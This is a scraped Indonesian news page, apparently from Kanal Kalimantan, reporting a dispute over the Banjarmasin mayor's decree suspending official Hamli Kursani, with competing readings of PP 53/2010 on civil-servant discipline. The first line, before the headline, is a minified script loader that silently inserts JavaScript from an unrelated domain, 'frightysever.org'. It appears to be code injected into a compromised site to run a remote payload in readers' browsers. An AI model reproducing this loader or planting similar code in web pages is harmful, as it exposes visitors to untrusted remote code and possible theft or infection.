(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ujung Pangkal ‘Perang’ Wali Kota Banjarmasin vs Ombudsman Kalsel


Pijakan hukum pembebasan sementara itu dari bunyi SK Walikota Banjarmasin adalah Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin Pegawai Negeri Sipil untuk kemudahan proses pemeriksaan khusus dari Inspektorat terhadap Hamli Kursani.

Atas pencopotan dirinya, Hamli Kursani sempat mengadu ke Komisi Aparatur Sipil Negara (KASN) dan Kementerian Dalam Negeri (Kemendagri). Tak bisa dipungkiri, langkah yang dilakukan Hamli akan membuat ‘ring 1’ pemerintahan kota Banjarmasin memanas. Apalagi dengan mulai munculnya pro kontra atas upaya yang dilakukan.

Sebelumnya, Hamli mengutip pernyataan pejabat Ditjen Otda dan Itjen Kemendagri yang akan memanggil dua pejabat Pemkot Banjarmasin. Mereka adalah Kepala Badan Kepegawaian Daerah dan Diklat Kota Banjarmasin, Syafri Azmi dan Kepala Inspektorat Banjarmasin, James Fudhoil Yamin. Dua pejabat ini,  yang menurut Hamli menjadi pijakan bagi Walikota Ibnu Sina menerbitkan surat keputusan penonaktifkan sementara dirinya.

Kejanggalan yang dirasakan Hamli seperti pengaduan ke KASN dan Kemendagri adalah berlakunya SK Walikota Banjarmasin bernomor 880/002-KUM.DIS/BKD,DIKLAT/2018, berlaku efektif tertanggal 10 April 2018. Sedangkan, Hamli Kursani sebagai terperiksa baru dimintai keterangan oleh Inspektorat Banjarmasin pada 16 April 2018.

“Dari keterangan pejabat Kemendagri hal ini dianggap bertentangan dengan Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin PNS yang mengamanatkan berlakunya pembebasan sementara itu sejak yang bersangkutan diperiksa,” ucap Hamli.

Terkait apa yang disampaikan Hamli, Kepala Dinas Perhubungan Kota Banjarmasin Ichwan Noor Chalik angkat bicara. Dia balik menuding bahwa orang yang memberi komentar itu tidak mengerti aturan-aturan. “Apa yang diinstruksikan oleh Inspektorat Banjarmasin sudah jelas.  Alurnya sudah sesuai dengan aturan. Tidak mungkin Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin PNS itu tidak diberlakukan,”  kata Ichwan Noor Chalik.

Ditegaskannya, yang dimaksud terperiksa dibebastugaskan sementara adalah ketika para saksi-saksi untuk membuktikan dugaan pelanggaran disiplin yang dilakukan Hamli Kursani sudah diperiksa pihak Inspektorat Banjarmasin. “Jadi bukan terhitung pembebasan sementara itu saat yang bersangkutan diperiksa,” cetus Ichwan.

Dalam kamus Ichwan, saat proses pemeriksaan sudah berjalan itulah yang dimaksud waktu pemeriksaan. “Itulah waktu pemeriksaan, kan lucu. Jadi, memahami hukum tak bisa seperti itu. Pembebasan tugas itu dilakukan pada saat pemeriksaan saksi, jadi ketika sudah diperiksa dan ternyata ada indikasi pelanggaran berat, kemudian ditinjaklanjuti oleh Inspektorat berdasarkan perintah dari Walikota Banjarmasin,” paparnya.(ammar)

Reporter: Ammar
Editor: Cell

Page: 1 2

Desy Arfianty

Recent Posts

Galakkan Keberadaan Perpustakaan, Dispersip Banjar Gelar Sosialisasi

KANALKALIMANTAN.COM, MARTAPURA - Melalui Dinas Perpustakaan dan Kearsipan (Dispersip) Pemerintah Kabupaten Banjar menggelar Sosialisasi Perpustakaan… Read More

5 jam ago

Ajukan Usulan Proklim Lestari, Kelurahan Sekumpul Didatangi Tim dari KLHK

KANALKALIMANTAN.COM, MARTAPURA - Kantor Kelurahan Sekumpul, Kecamatan Martapura, Kabupaten Banjar, Rabu (29/5/2024) pagi kedatangan tim… Read More

6 jam ago

5.000 Relawan Damkar di Banjarmasin Mendapat Jaminan Keselamatan Kerja

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan relawan pemadam kebakaran (Damkar) di Kota Banjarmasin, Provinsi Kalimantan Selatan kini… Read More

7 jam ago

Miss Indonesia 2024 Semua Mata Tertuju Padamu

KANALKALIMANTAN.COM - RCTI dan Yayasan Miss Indonesia kembali menyelenggarakan perhelatan Miss Indonesia 2024, ajang pencarian… Read More

10 jam ago

Komite Operasi ke-23 PLN dan SEB, Perkuat Kelistrikan Perbatasan Malaysia-Indonesia

KANALKALIMANTAN.COM, BANDUNG - PT PLN (Persero) menggelar Komite Operasi ke-23 bersama Sarawak Energy Berhad (SEB)… Read More

10 jam ago

DPMD Kapuas Gelar Workshop Pengembangan Desa Pacu Keberdayaan Ekonomi

KANALKALIMANTAN.COM, KUALA KAPUAS - Dinas Pemberdayaan Masyarakat Desa (DPMD) Kabupaten Kapuas melaksanakan workshop bagi kepala… Read More

10 jam ago

This website uses cookies.